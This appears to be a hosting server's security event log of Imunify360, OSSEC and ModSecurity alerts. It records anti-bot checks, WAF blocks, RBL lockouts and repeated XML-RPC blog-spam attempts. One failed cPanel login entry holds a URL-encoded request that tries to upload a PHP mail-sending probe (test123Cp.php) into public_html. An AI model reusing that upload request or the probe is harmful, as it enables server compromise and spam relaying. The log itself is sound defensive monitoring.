name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [20/Jun/2026:18:52:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9815707&pdata=http%253A%252F%252Fvo2.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981562 HTTP/1.1" 302 0 vo2.mairie.tg "http://vo2.mairie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [20/Jun/2026:18:52:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988974&pdata=https%253A%252F%252Fvo2.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981564 HTTP/2.0" 302 0 vo2.mairie.tg "https://vo2.mairie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.22.165.25
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1028574175 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.227.213.163
country_id: 1269750
description:
Jun 20 18:53:25 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.227.213.163 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.227.213.163
country_id: 1269750
description:
Jun 20 18:53:34 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.227.213.163 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 186.189.97.76
country_id: 3895114
description:
186.189.97.76 - - [20/Jun/2026:18:54:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209385&pdata=https%253A%252F%252Fcfpj.tg%252Fhdvc-308203netid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981654 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/hdvc-308203netid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:186.189.97.76


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.39.201.146
country_id: 285570
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/b5a48e HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:57:38 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:444bd05668e7f2a08eccf33f0b8a10c842f9b111||Title:3g7s47sek3y4jd4h8q||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:57:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:18:58:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13145243&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981918 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:18:58:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130793&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981921 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.114.48.129
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/854547228 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.186.87.164
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/c7c2c4 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:18:58:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12752789&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781981905 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:69979c5739abef8bb357b883cc116a99dcf48041||Title:1p3f0z1kllc8mgpfbr||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:304a8192fa64a1ae65d994f637404db3e415cbdc||Title:itvhsbto4g0diqztbw||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:96301d343c034b814fd7d72a6aa87a4c86ea2602||Title:xp1u42diibxd7ysvjo||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.1
country_id: 6252001
description:
205.169.39.1 - - [20/Jun/2026:19:00:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143592&pdata=http%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781982040 HTTP/1.1" 302 0 wages.tg "http://wages.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:01:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6843542&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781982083 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:19:01:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13144729&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781982083 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb8cb60bc32e7f775f528c6fb367f541163567ae||Title:68jbq4uhh6lxk49||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.91.164.131
country_id: 3469034
description:
Jun 20 19:02:30 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.91.164.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.163.145.175
country_id: 1668284
description:
Jun 20 19:02:38 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.163.145.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:eb8fdc35896523590161a5243fe8a9ba7485138a||Title:r7s1lqgcjg9utz||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 20 19:03:18 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.103.136.43
country_id: 3895114
description:
Jun 20 19:03:52 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.103.136.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:38488b8ffcd5e8c00b3ff101db82d1e14d93a14a||Title:eawsqm9wffzg1i88r||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.72.64.32
country_id: 6252001
description:
Jun 20 19:03:33 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.72.64.32 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 147.235.199.182
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/a1938b HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jun 20 19:04:01 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dd2d2a333714a8362d9fc3f296d54cf576349868||Title:3zof1z6fh1gjtzq9lc||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.6.38
country_id: 3469034
description:
Jun 20 19:06:23 ns5 auth[874877]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.6.38 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e34512da11ae9a223eabe43d774686963b6840ad||Title:x59rqjhdgc2cup7||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.255.105.18
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/politique/page/2014881717 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:766af8c2e0366c47a59cbff969d92ebcc1ad81c9||Title:xky9ar98n8w4qio4mf||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.38.140.32
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/sommet-de-la-diaspora-2025-le-president-du-conseil-plaide-pour-la-reparation-des-prejudices/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.38.140.32
country_id: 3865483
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/sommet-de-la-diaspora-2025-le-president-du-conseil-plaide-pour-la-reparation-des-prejudices/ HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:32c322adeed3ed53fce28b98032099e8f74b3ba5||Title:jchn417qgmho10fwx||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:15977fc74ca1c69878f825c26cd5901256ddff96||Title:n0xq80dy3qn85jcae||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 134.122.133.219
country_id: 1880251
domain: derou.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:134.122.133.219||TA:134.122.133.219||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 46.63.126.159
country_id: 690791
domain: perfect-labo.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:47435.perfect-labo.com||ServerName:perfect-labo.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:91185a867eda5a08a80c9fbf1c6914050084fc9a||Title:0x3262f07b||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bd8dc8dd324ed911b97fc93209ec53f0cb6d2cc0||Title:mjg1jn22k7jxuy||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.89.31.28
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1066534857 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:80ad43d4ebb54f302594c42f1df71bf139925deb||Title:56cmssznrihijm1pis||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6604295ab0ddb4e435e3aa3374212fd784e211bd||Title:pxeuplq4ajsrnx||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d8e3d701743cd49259505e73e932375dcdb64aaf||Title:b7dgm8za046q1l||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ab7d69e2201b4c342725d9d659be5c108808bd51||Title:5p9ivawuxamlujn||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:bb08f06700614a8971168a620b9745c736c2f5b9||Title:ghticm77fo7qc4yur||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1b072f4b071b41d0480a732d2e3937fa54289d88||Title:8z3bll7tof4sgg||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:15:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10064741&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781982936 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:19:15:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278108&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781982934 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:19:15:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131305&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781982935 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:19:17:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9659752&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983025 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 59.153.16.17
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1743341882 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:403f0c88c15540a67d6b02801e4b877a802de573||Title:0thgsj72f3wm4a||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:19:17:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999001&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983025 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 79.106.137.128
country_id: 783754
description:
79.106.137.128 - - [20/Jun/2026:19:18:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935555&pdata=https%253A%252F%252Fcfpj.tg%252Fkeoo-241105vetidm18hev.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781983079 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/keoo-241105vetidm18hev.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:79.106.137.128


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.9.161
country_id: 6252001
description:
[2026-06-20 19:18:17 +0000] info [cpaneld] 195.63.9.161 - vuvwskxh "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2e2796ca898281b47a770efc2eed9fc92bc33eb3||Title:g6lln4gmgkmlu6y1p||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 82.194.22.236
country_id: 587116
domain: c2ie.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:c2ie.c2ie.tg||ServerName:c2ie.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c9de4f882d4a72923a9b8c4d6ecbdedf3265c92b||Title:axlo3lphnce096y||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.96.94.193
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/508942 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.248.169.54
country_id: 3625428
domain: togodailynews.tg
description:
